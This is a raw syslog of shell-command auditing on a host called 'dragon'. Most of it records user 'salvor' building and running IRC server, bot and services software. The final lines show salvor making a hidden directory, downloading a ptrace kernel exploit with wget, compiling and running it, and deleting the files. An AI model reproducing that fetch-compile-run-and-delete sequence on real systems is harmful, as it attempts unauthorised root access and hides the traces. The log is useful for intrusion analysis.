Aug 17 04:04:31 dragon bash[30568]: [salvor] ls
Aug 17 04:04:36 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 04:04:48 dragon bash[30568]: [salvor] BitchX
Aug 17 04:14:59 dragon bash[30568]: [salvor] ls
Aug 17 04:28:17 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 04:28:21 dragon bash[30568]: [salvor] kill 3720
Aug 17 04:28:25 dragon bash[30568]: [salvor] kill 3720 -9
Aug 17 04:28:31 dragon bash[30568]: [salvor] kill -9 29915
Aug 17 04:28:38 dragon bash[30568]: [salvor] kill -9 29930
Aug 17 04:29:46 dragon PAM_pwdb[29614]: (ftp) session opened for user salvor by (uid=0)
Aug 17 04:30:33 dragon bash[30568]: [salvor] ls
Aug 17 04:31:08 dragon bash[30568]: [salvor] cd ..
Aug 17 04:32:51 dragon bash[30568]: [salvor] ls
Aug 17 04:33:55 dragon PAM_pwdb[29636]: (ftp) session opened for user salvor by (uid=0)
Aug 17 04:36:25 dragon bash[30568]: [salvor] ls
Aug 17 04:36:53 dragon bash[30568]: [salvor] tar zxvf gaia.tar.gz 
Aug 17 04:37:11 dragon bash[30568]: [salvor] ls
Aug 17 04:37:19 dragon bash[30568]: [salvor] cd ircd2_10_07/
Aug 17 04:37:22 dragon bash[30568]: [salvor] ls -l
Aug 17 04:37:27 dragon bash[30568]: [salvor] cd config
Aug 17 04:37:33 dragon bash[30568]: [salvor] vi .config
Aug 17 04:40:18 dragon bash[30568]: [salvor] cd ..
Aug 17 04:40:20 dragon bash[30568]: [salvor] ./configre
Aug 17 04:40:25 dragon bash[30568]: [salvor] ./configure
Aug 17 04:41:05 dragon bash[30568]: [salvor] make config
Aug 17 04:41:21 dragon bash[30568]: [salvor] make
Aug 17 04:42:04 dragon bash[30568]: [salvor] ls
Aug 17 04:42:24 dragon bash[30568]: [salvor] make install
Aug 17 04:42:33 dragon bash[30568]: [salvor] make install
Aug 17 04:42:36 dragon bash[30568]: [salvor] cd 
Aug 17 04:43:57 dragon PAM_pwdb[31488]: (ftp) session opened for user salvor by (uid=0)
Aug 17 04:44:09 dragon bash[30568]: [salvor] ls
Aug 17 04:44:15 dragon bash[30568]: [salvor] mv ircd.conf ircd
Aug 17 04:44:22 dragon bash[30568]: [salvor] cd ircd
Aug 17 04:44:24 dragon bash[30568]: [salvor] vi ircd.conf
Aug 17 04:45:44 dragon bash[30568]: [salvor] ls
Aug 17 04:45:56 dragon bash[30568]: [salvor] echo ./ircd -w asvzkx0L4gags
Aug 17 04:46:03 dragon bash[30568]: [salvor] ls ..
Aug 17 04:46:14 dragon bash[30568]: [salvor] echo ./ircd -w 207.44.205.152 > go
Aug 17 04:46:18 dragon bash[30568]: [salvor] chmod u+x go
Aug 17 04:46:20 dragon bash[30568]: [salvor] ./go
Aug 17 04:46:27 dragon bash[30568]: [salvor] cd 
Aug 17 04:46:30 dragon bash[30568]: [salvor] cd ircd2_10_07/
Aug 17 04:46:31 dragon bash[30568]: [salvor] cd config
Aug 17 04:46:34 dragon bash[30568]: [salvor] vi .config
Aug 17 04:46:54 dragon bash[30568]: [salvor] cd ..
Aug 17 04:46:56 dragon bash[30568]: [salvor] make config
Aug 17 04:47:10 dragon bash[30568]: [salvor] make
Aug 17 04:47:54 dragon bash[30568]: [salvor] make install
Aug 17 04:47:56 dragon bash[30568]: [salvor] cd 
Aug 17 04:47:57 dragon bash[30568]: [salvor] cd ircd
Aug 17 04:47:57 dragon bash[30568]: [salvor] ls
Aug 17 04:47:59 dragon bash[30568]: [salvor] ./go
Aug 17 04:48:15 dragon bash[30568]: [salvor] ls ..
Aug 17 04:48:42 dragon bash[30568]: [salvor] ls
Aug 17 04:49:19 dragon PAM_pwdb[32453]: (ftp) session opened for user salvor by (uid=0)
Aug 17 04:53:04 dragon bash[30568]: [salvor] cd
Aug 17 04:53:05 dragon bash[30568]: [salvor] ls
Aug 17 04:53:13 dragon bash[30568]: [salvor] rm gaia.tar.gz 
Aug 17 04:53:14 dragon bash[30568]: [salvor] ls
Aug 17 04:53:22 dragon bash[30568]: [salvor] tar zxvf botshispanobdd-1.2rc1.tar.gz 
Aug 17 04:53:47 dragon bash[30568]: [salvor] ls
Aug 17 04:53:54 dragon bash[30568]: [salvor] rm botshispanobdd-1.2rc1.tar.gz 
Aug 17 04:54:13 dragon bash[30568]: [salvor] ./debug
Aug 17 04:54:19 dragon bash[30568]: [salvor] rm debug*
Aug 17 04:54:20 dragon bash[30568]: [salvor] ls
Aug 17 04:54:26 dragon bash[30568]: [salvor] vi bot.pl 
Aug 17 04:54:53 dragon bash[30568]: [salvor] ls
Aug 17 04:54:56 dragon bash[30568]: [salvor] cd Nueva\ carpeta/
Aug 17 04:54:57 dragon bash[30568]: [salvor] ls
Aug 17 04:55:03 dragon bash[30568]: [salvor] w
Aug 17 05:22:56 dragon bash[30568]: [salvor] ls
Aug 17 05:22:58 dragon bash[30568]: [salvor] cd 
Aug 17 05:22:59 dragon bash[30568]: [salvor] ls
Aug 17 05:23:05 dragon bash[30568]: [salvor] mkdir vip
Aug 17 05:23:10 dragon bash[30568]: [salvor] mv vip.tar.gz vip
Aug 17 05:23:11 dragon bash[30568]: [salvor] ls
Aug 17 05:23:13 dragon bash[30568]: [salvor] cd vip
Aug 17 05:23:14 dragon bash[30568]: [salvor] ls
Aug 17 05:23:21 dragon bash[30568]: [salvor] tar zxvf vip.tar.gz 
Aug 17 05:23:23 dragon bash[30568]: [salvor] ls
Aug 17 05:23:28 dragon bash[30568]: [salvor] vi controls.pm 
Aug 17 05:23:31 dragon bash[30568]: [salvor] ls
Aug 17 05:23:32 dragon bash[30568]: [salvor] ls
Aug 17 05:23:36 dragon bash[30568]: [salvor] vi vip.bot
Aug 17 05:23:39 dragon bash[30568]: [salvor] ls
Aug 17 05:23:43 dragon bash[30568]: [salvor] vi services.pl 
Aug 17 05:23:47 dragon bash[30568]: [salvor] ls
Aug 17 05:23:52 dragon bash[30568]: [salvor] vi controls.pm 
Aug 17 05:23:55 dragon bash[30568]: [salvor] ls
Aug 17 05:23:59 dragon bash[30568]: [salvor] vi vip.db
Aug 17 05:24:02 dragon bash[30568]: [salvor] ls
Aug 17 05:24:07 dragon bash[30568]: [salvor] vi vip.bot 
Aug 17 05:24:10 dragon bash[30568]: [salvor] ls
Aug 17 05:24:14 dragon bash[30568]: [salvor] vi oper.db
Aug 17 05:24:22 dragon bash[30568]: [salvor] ls
Aug 17 05:24:25 dragon bash[30568]: [salvor] vi services.pl 
Aug 17 05:24:53 dragon bash[30568]: [salvor] ls
Aug 17 05:24:58 dragon bash[30568]: [salvor] perl services.pl 
Aug 17 05:25:44 dragon PAM_pwdb[32672]: (ftp) session opened for user salvor by (uid=0)
Aug 17 05:26:37 dragon bash[30568]: [salvor] ls
Aug 17 05:26:39 dragon bash[30568]: [salvor] cd ..
Aug 17 05:26:39 dragon bash[30568]: [salvor] ls
Aug 17 05:26:46 dragon bash[30568]: [salvor] mv ciber.tar.gz vip
Aug 17 05:26:47 dragon bash[30568]: [salvor] ls
Aug 17 05:26:50 dragon bash[30568]: [salvor] cd vip
Aug 17 05:26:50 dragon bash[30568]: [salvor] ls
Aug 17 05:26:55 dragon bash[30568]: [salvor] tar ciber.tar.gz zxvf
Aug 17 05:27:00 dragon bash[30568]: [salvor] tar zxvf ciber.tar.gz 
Aug 17 05:27:02 dragon bash[30568]: [salvor] ls
Aug 17 05:27:06 dragon bash[30568]: [salvor] cd services
Aug 17 05:27:07 dragon bash[30568]: [salvor] ls
Aug 17 05:27:08 dragon bash[30568]: [salvor] ls
Aug 17 05:27:19 dragon bash[30568]: [salvor] vi services.conf
Aug 17 05:30:06 dragon bash[30568]: [salvor] cd
Aug 17 05:30:07 dragon bash[30568]: [salvor] cd ircd
Aug 17 05:30:09 dragon bash[30568]: [salvor] vi ircd.conf
Aug 17 05:33:01 dragon bash[30568]: [salvor] cd
Aug 17 05:33:03 dragon bash[30568]: [salvor] cd vip
Aug 17 05:33:04 dragon bash[30568]: [salvor] ls
Aug 17 05:33:06 dragon bash[30568]: [salvor] cd services
Aug 17 05:33:07 dragon bash[30568]: [salvor] ls
Aug 17 05:33:16 dragon bash[30568]: [salvor] perl services.pl
Aug 17 05:33:29 dragon bash[30568]: [salvor] ls
Aug 17 05:33:33 dragon bash[30568]: [salvor] vi services.conf
Aug 17 05:34:00 dragon bash[30568]: [salvor] perl services.pl
Aug 17 05:35:20 dragon bash[30568]: [salvor] ls
Aug 17 05:35:32 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 05:35:37 dragon bash[30568]: [salvor] ls
Aug 17 05:35:40 dragon bash[30568]: [salvor] cd ..
Aug 17 05:35:40 dragon bash[30568]: [salvor] ls
Aug 17 05:35:55 dragon bash[30568]: [salvor] perl services.pl 
Aug 17 05:36:05 dragon bash[30568]: [salvor] ls
Aug 17 05:36:13 dragon bash[30568]: [salvor] cd services
Aug 17 05:36:14 dragon bash[30568]: [salvor] ls
Aug 17 05:36:27 dragon bash[30568]: [salvor] vi services.conf
Aug 17 05:37:43 dragon bash[30568]: [salvor] ls
Aug 17 05:37:50 dragon bash[30568]: [salvor] cd ..
Aug 17 05:37:50 dragon bash[30568]: [salvor] ls
Aug 17 05:55:23 dragon bash[30568]: [salvor] ls
Aug 17 05:55:28 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 05:55:36 dragon bash[30568]: [salvor] kill -9 32719
Aug 17 05:57:49 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 05:57:54 dragon bash[30568]: [salvor] ls
Aug 17 05:57:55 dragon bash[30568]: [salvor] cd
Aug 17 05:57:56 dragon bash[30568]: [salvor] ls
Aug 17 05:57:58 dragon bash[30568]: [salvor] cd Nueva\ carpeta/
Aug 17 05:57:59 dragon bash[30568]: [salvor] ls
Aug 17 05:58:02 dragon bash[30568]: [salvor] vi services.conf 
Aug 17 05:59:31 dragon bash[30568]: [salvor] ls
Aug 17 06:03:25 dragon bash[30568]: [salvor] ls
Aug 17 06:03:32 dragon bash[30568]: [salvor] perl services.conf 
Aug 17 06:03:57 dragon bash[30568]: [salvor] ps -aux @grep salvor
Aug 17 06:04:06 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 17 06:04:12 dragon bash[30568]: [salvor] vi services.conf
Aug 17 06:04:37 dragon bash[30568]: [salvor] ls
Aug 17 06:04:42 dragon bash[30568]: [salvor] perl services.conf 
Aug 17 06:05:21 dragon bash[30568]: [salvor] vi services.conf 
Aug 17 06:05:51 dragon bash[30568]: [salvor] ls
Aug 17 06:06:04 dragon bash[30568]: [salvor] perl serv.pl
Aug 17 06:07:57 dragon bash[30568]: [salvor] vi services.conf
Aug 17 06:16:19 dragon bash[30568]: [salvor] ls ..
Aug 17 06:24:14 dragon bash[30568]: [salvor] ls
Aug 17 06:59:33 dragon bash[30568]: [salvor] ls
Aug 17 06:59:35 dragon bash[30568]: [salvor] cd ircd
Aug 17 06:59:37 dragon bash[30568]: [salvor] ls
Aug 17 06:59:42 dragon bash[30568]: [salvor] cd 
Aug 17 06:59:43 dragon bash[30568]: [salvor] ls
Aug 17 06:59:46 dragon bash[30568]: [salvor] cd Nueva\ carpeta/
Aug 17 06:59:46 dragon bash[30568]: [salvor] ls
Aug 17 06:59:48 dragon bash[30568]: [salvor] cd ..
Aug 17 06:59:52 dragon bash[30568]: [salvor] rm -rf Nueva\ carpeta/
Aug 17 06:59:53 dragon bash[30568]: [salvor] ls
Aug 17 07:00:00 dragon bash[30568]: [salvor] cd ircd
Aug 17 07:00:02 dragon bash[30568]: [salvor] vi ircd.conf
Aug 17 07:18:36 dragon bash[30568]: [salvor] ls
Aug 17 07:18:38 dragon bash[30568]: [salvor] clear
Aug 17 07:18:40 dragon bash[30568]: [salvor] cd
Aug 17 07:18:40 dragon bash[30568]: [salvor] ls
Aug 17 08:03:01 dragon bash[9408]: [root] ps -u salvor
Aug 17 08:03:08 dragon bash[9408]: [root] cd salvor
Aug 17 08:03:16 dragon bash[9408]: [root] cd salvor/cip
Aug 17 08:03:19 dragon bash[9408]: [root] cd salvor/vip
Aug 17 08:07:42 dragon bash[9408]: [root] cd cd salvor
Aug 17 08:07:45 dragon bash[9408]: [root] cd salvor
Aug 18 03:22:31 dragon bash[30568]: [salvor] ls
Aug 18 04:39:00 dragon bash[30568]: [salvor] ls
Aug 18 04:39:05 dragon bash[30568]: [salvor] ps
Aug 18 04:39:09 dragon bash[30568]: [salvor] ps -aux |grep salvor
Aug 18 04:39:24 dragon bash[30568]: [salvor] kill -9 426
Aug 18 04:39:27 dragon bash[30568]: [salvor] ls
Aug 18 04:40:12 dragon bash[30568]: [salvor] ls
Aug 18 04:40:18 dragon bash[30568]: [salvor] cd botshispanobdd-1.2rc1/
Aug 18 04:40:19 dragon bash[30568]: [salvor] cd ..
Aug 18 04:40:20 dragon bash[30568]: [salvor] ls
Aug 18 04:40:26 dragon bash[30568]: [salvor] rm -rf eggdrop
Aug 18 04:40:29 dragon bash[30568]: [salvor] em -ef eggdrop1.6.15/
Aug 18 04:40:34 dragon bash[30568]: [salvor] rm -rf eggdrop1.6.15/
Aug 18 04:40:36 dragon bash[30568]: [salvor] ls
Aug 18 04:40:43 dragon bash[30568]: [salvor] lks
Aug 18 04:40:49 dragon bash[30568]: [salvor] cd botshispanobdd-1.2rc1/
Aug 18 04:40:49 dragon bash[30568]: [salvor] ls
Aug 18 04:40:54 dragon bash[30568]: [salvor] ./configure
Aug 18 04:41:01 dragon bash[30568]: [salvor] cd
Aug 18 04:41:01 dragon bash[30568]: [salvor] ls
Aug 18 04:41:06 dragon bash[30568]: [salvor] cd botshispanobdd-1.2rc1/
Aug 18 04:41:09 dragon bash[30568]: [salvor] ./configure
Aug 18 04:41:49 dragon bash[30568]: [salvor] make
Aug 18 04:42:30 dragon bash[30568]: [salvor] make install
Aug 18 04:42:33 dragon bash[30568]: [salvor] cd
Aug 18 04:42:35 dragon bash[30568]: [salvor] cd 
Aug 18 04:42:38 dragon bash[30568]: [salvor] cd services/
Aug 18 04:42:39 dragon bash[30568]: [salvor] ls
Aug 18 04:42:43 dragon bash[30568]: [salvor] vi example.conf 
Aug 18 04:46:17 dragon bash[30568]: [salvor] cd
Aug 18 04:46:18 dragon bash[30568]: [salvor] cd ircd
Aug 18 04:46:21 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 04:46:47 dragon bash[30568]: [salvor] cd 
Aug 18 04:46:49 dragon bash[30568]: [salvor] cd services/
Aug 18 04:46:50 dragon bash[30568]: [salvor] ls
Aug 18 04:46:58 dragon bash[30568]: [salvor] cp example.conf services.conf
Aug 18 04:47:05 dragon bash[30568]: [salvor] ./services 
Aug 18 04:47:18 dragon bash[30568]: [salvor] cd
Aug 18 04:47:19 dragon bash[30568]: [salvor] cd ircd
Aug 18 04:47:22 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 04:47:36 dragon bash[30568]: [salvor] ls
Aug 18 04:47:37 dragon bash[30568]: [salvor] cd 
Aug 18 04:47:39 dragon bash[30568]: [salvor] cd services/
Aug 18 04:47:45 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 04:49:51 dragon bash[30568]: [salvor] ls
Aug 18 04:49:54 dragon bash[30568]: [salvor] ./services 
Aug 18 04:50:01 dragon bash[30568]: [salvor] killall services
Aug 18 04:50:06 dragon bash[30568]: [salvor] ./services 
Aug 18 05:03:29 dragon bash[30568]: [salvor] ls
Aug 18 05:03:31 dragon bash[30568]: [salvor] cd
Aug 18 05:03:31 dragon bash[30568]: [salvor] ls
Aug 18 05:04:04 dragon bash[30568]: [salvor] cd
Aug 18 05:04:05 dragon bash[30568]: [salvor] ls
Aug 18 05:04:18 dragon bash[30568]: [salvor] cd vip
Aug 18 05:04:19 dragon bash[30568]: [salvor] ls
Aug 18 05:04:22 dragon bash[30568]: [salvor] cd ..
Aug 18 05:04:27 dragon bash[30568]: [salvor] rm -rf vip
Aug 18 05:04:29 dragon bash[30568]: [salvor] ls
Aug 18 05:04:37 dragon bash[30568]: [salvor] rm bot.pl 
Aug 18 05:12:31 dragon PAM_pwdb[15074]: (ftp) session opened for user salvor by (uid=0)
Aug 18 05:12:56 dragon bash[30568]: [salvor] cd
Aug 18 05:12:57 dragon bash[30568]: [salvor] ls
Aug 18 05:13:01 dragon bash[30568]: [salvor] mkdir vip
Aug 18 05:13:30 dragon bash[30568]: [salvor] mv vip.tar.gz vip
Aug 18 05:13:32 dragon bash[30568]: [salvor] cd vip
Aug 18 05:13:32 dragon bash[30568]: [salvor] ls
Aug 18 05:13:36 dragon bash[30568]: [salvor] tar zxvf vip.tar.gz 
Aug 18 05:13:37 dragon bash[30568]: [salvor] ls
Aug 18 05:13:42 dragon bash[30568]: [salvor] vi services.pl 
Aug 18 05:14:26 dragon bash[30568]: [salvor] ls
Aug 18 05:14:31 dragon bash[30568]: [salvor] vi vip.bot 
Aug 18 05:16:46 dragon bash[30568]: [salvor] ls
Aug 18 05:16:53 dragon bash[30568]: [salvor] perl services.pl 
Aug 18 05:17:10 dragon bash[30568]: [salvor] vi services.pl 
Aug 18 05:17:19 dragon bash[30568]: [salvor] vi controls.pm 
Aug 18 05:17:45 dragon bash[30568]: [salvor] ls
Aug 18 05:19:06 dragon bash[30568]: [salvor] vi vip.db 
Aug 18 05:19:09 dragon bash[30568]: [salvor] ls
Aug 18 05:19:41 dragon bash[30568]: [salvor] ls
Aug 18 05:19:50 dragon bash[30568]: [salvor] vi services.pl 
Aug 18 05:20:10 dragon bash[30568]: [salvor] perl services.pl 
Aug 18 05:25:42 dragon bash[30568]: [salvor] ls
Aug 18 05:25:53 dragon bash[30568]: [salvor] cd 
Aug 18 05:25:54 dragon bash[30568]: [salvor] ls
Aug 18 05:25:57 dragon bash[30568]: [salvor] rm vip
Aug 18 05:26:00 dragon bash[30568]: [salvor] rm -rf vip
Aug 18 05:26:02 dragon bash[30568]: [salvor] ls
Aug 18 05:26:57 dragon PAM_pwdb[15136]: (ftp) session opened for user salvor by (uid=0)
Aug 18 05:27:36 dragon bash[30568]: [salvor] ls
Aug 18 05:27:41 dragon bash[30568]: [salvor] tar zxvf creg.tar.gz 
Aug 18 05:27:46 dragon bash[30568]: [salvor] cd creg
Aug 18 05:27:47 dragon bash[30568]: [salvor] ls
Aug 18 05:27:50 dragon bash[30568]: [salvor] vi creg.conf
Aug 18 05:29:19 dragon bash[30568]: [salvor] ls
Aug 18 05:29:35 dragon bash[30568]: [salvor] perl creg.pl
Aug 18 05:30:18 dragon bash[30568]: [salvor] echo ps -aux |grep salvor > see
Aug 18 05:30:22 dragon bash[30568]: [salvor] chmod u+x see
Aug 18 05:30:24 dragon bash[30568]: [salvor] ./see
Aug 18 05:30:33 dragon bash[30568]: [salvor] cat see
Aug 18 05:30:47 dragon bash[30568]: [salvor] echo 'ps -aux |grep salvor' > see
Aug 18 05:30:48 dragon bash[30568]: [salvor] cat see
Aug 18 05:30:52 dragon bash[30568]: [salvor] ./see
Aug 18 05:31:00 dragon bash[30568]: [salvor] kill 15148
Aug 18 05:33:12 dragon bash[30568]: [salvor] ls
Aug 18 05:33:56 dragon bash[30568]: [salvor] vi creg.pl
Aug 18 06:01:16 dragon bash[30568]: [salvor] perl creg.pl
Aug 18 06:09:21 dragon bash[30568]: [salvor] killall perl
Aug 18 06:09:26 dragon bash[30568]: [salvor] vi creg.pl
Aug 18 12:55:22 dragon bash[16598]: [root] cd salvor
Aug 18 16:51:15 dragon PAM_pwdb[17671]: (ftp) session opened for user salvor by (uid=0)
Aug 18 16:51:34 dragon bash[30568]: [salvor] ls
Aug 18 16:51:35 dragon bash[30568]: [salvor] cd
Aug 18 16:51:36 dragon bash[30568]: [salvor] ls
Aug 18 16:51:51 dragon bash[30568]: [salvor] mkdir debug.tar.gz 
Aug 18 16:51:56 dragon bash[30568]: [salvor] mkdir debug
Aug 18 16:52:00 dragon bash[30568]: [salvor] mv debug.tar.gz debug
Aug 18 16:52:02 dragon bash[30568]: [salvor] cd debug
Aug 18 16:52:06 dragon bash[30568]: [salvor] tar zxvf debug.tar.gz 
Aug 18 16:52:12 dragon bash[30568]: [salvor] cd
Aug 18 16:52:13 dragon bash[30568]: [salvor] ls
Aug 18 16:52:16 dragon bash[30568]: [salvor] cd ircd
Aug 18 16:52:19 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 16:54:00 dragon bash[30568]: [salvor] ls
Aug 18 16:54:03 dragon bash[30568]: [salvor] cd database/
Aug 18 16:54:07 dragon bash[30568]: [salvor] cat tabla.n
Aug 18 16:54:13 dragon bash[30568]: [salvor] cd
Aug 18 16:54:15 dragon bash[30568]: [salvor] cd debug/
Aug 18 16:54:16 dragon bash[30568]: [salvor] ls
Aug 18 16:54:20 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 16:55:02 dragon bash[30568]: [salvor] perl serv.pl
Aug 18 16:55:10 dragon bash[30568]: [salvor] vi serv.pl
Aug 18 16:55:19 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 16:55:43 dragon bash[30568]: [salvor] perl serv.pl
Aug 18 16:56:02 dragon bash[30568]: [salvor] cd
Aug 18 16:56:04 dragon bash[30568]: [salvor] cd ircd
Aug 18 16:56:06 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 16:56:24 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 16:56:38 dragon bash[30568]: [salvor] cd
Aug 18 16:56:40 dragon bash[30568]: [salvor] cd debug
Aug 18 16:56:41 dragon bash[30568]: [salvor] ls
Aug 18 16:56:44 dragon bash[30568]: [salvor] vi serv.pl
Aug 18 16:56:49 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 16:57:06 dragon bash[30568]: [salvor] perl serv.pl
Aug 18 16:57:55 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 16:58:20 dragon bash[30568]: [salvor] killall perl
Aug 18 16:58:23 dragon bash[30568]: [salvor] ls
Aug 18 16:58:27 dragon bash[30568]: [salvor] vi serv.pl
Aug 18 16:58:52 dragon bash[30568]: [salvor] perl serv.pl
Aug 18 17:02:06 dragon bash[30568]: [salvor] vi serv.pl
Aug 18 17:02:21 dragon bash[30568]: [salvor] ls
Aug 18 17:02:28 dragon bash[30568]: [salvor] rm serv.pl~
Aug 18 17:02:30 dragon bash[30568]: [salvor] ls
Aug 18 17:02:45 dragon bash[30568]: [salvor] rm debug.tar.gz 
Aug 18 17:03:07 dragon bash[30568]: [salvor] tar zcvf debug.tar.gz services.conf  serv.pl 
Aug 18 17:03:47 dragon PAM_pwdb[17753]: (ftp) session opened for user salvor by (uid=0)
Aug 18 17:04:03 dragon bash[30568]: [salvor] pwd
Aug 18 17:05:37 dragon bash[30568]: [salvor] cd
Aug 18 17:05:39 dragon bash[30568]: [salvor] cd ircd
Aug 18 17:05:42 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 17:20:06 dragon bash[30568]: [salvor] ls
Aug 18 17:20:07 dragon bash[30568]: [salvor] cd
Aug 18 17:20:08 dragon bash[30568]: [salvor] ls
Aug 18 17:20:10 dragon bash[30568]: [salvor] cd debug
Aug 18 17:20:11 dragon bash[30568]: [salvor] ls
Aug 18 17:20:16 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 17:20:43 dragon bash[30568]: [salvor] ls
Aug 18 17:20:47 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:22:00 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:24:12 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:30:47 dragon bash[30568]: [salvor] ls
Aug 18 17:31:15 dragon PAM_pwdb[17897]: (ftp) session opened for user salvor by (uid=0)
Aug 18 17:40:07 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:41:34 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:41:36 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:41:47 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 17:42:22 dragon bash[30568]: [salvor] cd
Aug 18 17:42:23 dragon bash[30568]: [salvor] cd ircd
Aug 18 17:42:26 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 17:44:01 dragon bash[30568]: [salvor] cd 
Aug 18 17:44:04 dragon bash[30568]: [salvor] cd debug/
Aug 18 17:44:09 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:48:49 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:48:57 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 17:49:45 dragon bash[30568]: [salvor] cat serv.pl |grep pass
Aug 18 17:49:56 dragon bash[30568]: [salvor] cat serv.pl |grep pass
Aug 18 17:50:06 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:50:44 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:51:25 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 17:52:16 dragon bash[30568]: [salvor] killall ircd
Aug 18 17:52:21 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 18:07:45 dragon bash[30568]: [salvor] cd
Aug 18 18:07:46 dragon bash[30568]: [salvor] cd ircd
Aug 18 18:07:48 dragon bash[30568]: [salvor] vi ircd.conf
Aug 18 18:20:58 dragon PAM_pwdb[18224]: (ftp) session opened for user salvor by (uid=0)
Aug 18 18:21:57 dragon bash[30568]: [salvor] ./go
Aug 18 18:21:58 dragon bash[30568]: [salvor] ls
Aug 18 18:22:14 dragon bash[30568]: [salvor] cd
Aug 18 18:22:18 dragon bash[30568]: [salvor] cd debug/
Aug 18 18:22:19 dragon bash[30568]: [salvor] ls
Aug 18 18:22:21 dragon bash[30568]: [salvor] vi serv.pl
Aug 18 18:22:25 dragon bash[30568]: [salvor] ls
Aug 18 18:22:28 dragon bash[30568]: [salvor] vi services.conf 
Aug 18 18:23:04 dragon bash[30568]: [salvor] cd
Aug 18 18:23:06 dragon bash[30568]: [salvor] cd services/
Aug 18 18:23:06 dragon bash[30568]: [salvor] ls
Aug 18 18:23:08 dragon bash[30568]: [salvor] ./services 
Aug 18 18:23:15 dragon bash[30568]: [salvor] cd
Aug 18 18:23:17 dragon bash[30568]: [salvor] cd debug/
Aug 18 18:23:19 dragon bash[30568]: [salvor] ls
Aug 18 18:23:23 dragon bash[30568]: [salvor] perl serv.pl 
Aug 18 22:12:18 dragon bash[19369]: [root] cd salvor
Aug 19 02:53:38 dragon bash[20413]: [root] cd salvor
Aug 19 03:08:13 dragon bash[30568]: [salvor] ls
Aug 19 03:08:22 dragon bash[30568]: [salvor] ./see
Aug 19 03:08:25 dragon bash[30568]: [salvor] cd
Aug 19 03:08:26 dragon bash[30568]: [salvor] ls
Aug 19 03:08:28 dragon bash[30568]: [salvor] cd ircd
Aug 19 03:08:30 dragon bash[30568]: [salvor] ./sere
Aug 19 03:08:32 dragon bash[30568]: [salvor] ./see
Aug 19 03:26:59 dragon bash[30568]: [salvor] ls
Aug 19 03:27:04 dragon bash[30568]: [salvor] cd
Aug 19 03:27:05 dragon bash[30568]: [salvor] ls
Aug 19 03:27:08 dragon bash[30568]: [salvor] cd creg
Aug 19 03:27:11 dragon bash[30568]: [salvor] cd
Aug 19 03:27:17 dragon bash[30568]: [salvor] rm creg.tar.gz 
Aug 19 03:27:20 dragon bash[30568]: [salvor] cd debug/
Aug 19 03:27:21 dragon bash[30568]: [salvor] ls
Aug 19 03:27:23 dragon bash[30568]: [salvor] cd ..
Aug 19 03:27:26 dragon bash[30568]: [salvor] rm -rf debug/
Aug 19 03:27:27 dragon bash[30568]: [salvor] ls
Aug 19 03:27:31 dragon bash[30568]: [salvor] cd services/
Aug 19 03:27:32 dragon bash[30568]: [salvor] ls
Aug 19 03:27:33 dragon bash[30568]: [salvor] cd ..
Aug 19 03:27:34 dragon bash[30568]: [salvor] ls
Aug 19 05:22:21 dragon bash[30568]: [salvor] exit
Aug 19 05:22:31 dragon sshd(pam_unix)[30567]: session closed for user salvor
Aug 19 05:24:38 dragon sshd(pam_unix)[21601]: authentication failure; logname= uid=0 euid=0 tty=NODEVssh ruser= rhost=ip68-98-169-219.nv.nv.cox.net  user=salvor
Aug 19 05:24:49 dragon sshd(pam_unix)[21603]: session opened for user salvor by (uid=565)
Aug 19 05:24:49 dragon bash[21604]: interactive shell started by username: salvor UID: 565 EUID: 565 GID: 504 EGID: 504
Aug 19 05:26:04 dragon bash[21604]: [salvor] w
Aug 19 05:27:51 dragon bash[21604]: [salvor] mkdir .nice
Aug 19 05:27:53 dragon bash[21604]: [salvor] cd .nice
Aug 19 05:28:00 dragon bash[21604]: [salvor] wget www.geocities.com/uttedumx/std.c
Aug 19 05:28:10 dragon bash[21604]: [salvor] wget http://packetstorm.digitallinx.com/0304-exploits/ptrace-kmod.c
Aug 19 05:28:12 dragon bash[21604]: [salvor] w
Aug 19 05:28:24 dragon bash[21604]: [salvor] gcc -o pt ptrace-kmod.c 
Aug 19 05:28:27 dragon bash[21604]: [salvor] ./pt
Aug 19 05:29:12 dragon bash[21604]: [salvor] rm ptrace-kmod.c 
Aug 19 05:29:13 dragon bash[21604]: [salvor] ls
Aug 19 05:29:16 dragon bash[21604]: [salvor] rm pt
Aug 19 05:30:02 dragon bash[21604]: [salvor] clear
Aug 19 05:30:03 dragon bash[21604]: [salvor] w
Aug 19 05:30:09 dragon bash[21604]: [salvor] w
Aug 19 05:31:20 dragon bash[21604]: [salvor] uname -a
Aug 19 05:35:25 dragon bash[21604]: [salvor] cat /etc/motd
Aug 19 05:36:12 dragon bash[21604]: [salvor] lear
Aug 19 05:36:17 dragon bash[21604]: [salvor] clear
Aug 19 05:36:19 dragon bash[21604]: [salvor] w
